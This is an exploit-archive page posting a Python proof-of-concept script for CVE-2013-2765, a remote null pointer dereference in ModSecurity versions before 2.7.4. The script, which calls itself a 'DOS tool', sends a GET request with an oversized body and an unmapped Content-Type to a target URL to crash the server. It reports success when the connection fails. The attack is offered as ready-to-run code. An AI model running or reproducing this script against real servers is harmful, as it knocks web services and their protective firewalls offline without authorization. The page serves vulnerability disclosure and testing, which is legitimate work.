exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

ModSecurity Remote Null Pointer Dereference

ModSecurity Remote Null Pointer Dereference
Posted May 29, 2013
Authored by Younes JAAIDI

When ModSecurity receives a request body with a size bigger than the value set by the "SecRequestBodyInMemoryLimit" and with a "Content-Type" that has no request body processor mapped to it, ModSecurity will systematically crash on every call to "forceRequestBodyVariable" (in phase 1). This is the proof of concept exploit. Versions prior to 2.7.4 are affected.

tags | exploit, proof of concept
advisories | CVE-2013-2765
SHA-256 | b4e14816e4c5cdc0de651f2cc750a97fa531e3a0c488cb71922a3bc534259845

ModSecurity Remote Null Pointer Dereference

Change Mirror Download
#!/usr/bin/env python3
#-*- coding: utf-8 -*-
#
# Created on Mar 29, 2013
#
# @author: Younes JAAIDI <yjaaidi@shookalabs.com>
#

import argparse
import http.client
import logging
import sys
import urllib.request

logger = logging.getLogger(__name__)
logger.setLevel(logging.DEBUG)
logger.addHandler(logging.StreamHandler(sys.stderr))

class ModSecurityDOSCheck(object):

_DEFAULT_REQUEST_BODY_SIZE = 200 # KB
_DEFAULT_CONCURRENCY = 100
_DEFAULT_USER_AGENT = "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36"

def __init__(self):
self._request_counter = 0
self._status_message = None

def main(self, args_list):
args_object = self._parse_args(args_list)

payload = "A" * args_object.request_body_size * 1024

request = urllib.request.Request(args_object.target_url,
method = "GET",
data = payload.encode('utf-8'),
headers = {'Content-Type': 'text/random',
'User-Agent': self._DEFAULT_USER_AGENT})

if self._send_request(request):
logger.info("Target seems to be vulnerable!!!")
return 0
else:
logger.info("Attack didn't work. Try increasing the 'REQUEST_BODY_SIZE'.")
return 1

def _parse_args(self, args_list):
parser = argparse.ArgumentParser(description="ModSecurity DOS tool.")
parser.add_argument('-t', '--target-url',
dest = 'target_url',
required = True,
help = "Target URL")
parser.add_argument('-s', '--request-body-size',
dest = 'request_body_size',
default = self._DEFAULT_REQUEST_BODY_SIZE,
type = int,
help = "Request body size in KB")

return parser.parse_args()

def _send_request(self, request):
try:
urllib.request.urlopen(request)
return False
except (http.client.BadStatusLine, urllib.error.HTTPError):
return True

if __name__ == '__main__':
sys.exit(ModSecurityDOSCheck().main(sys.argv))



Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close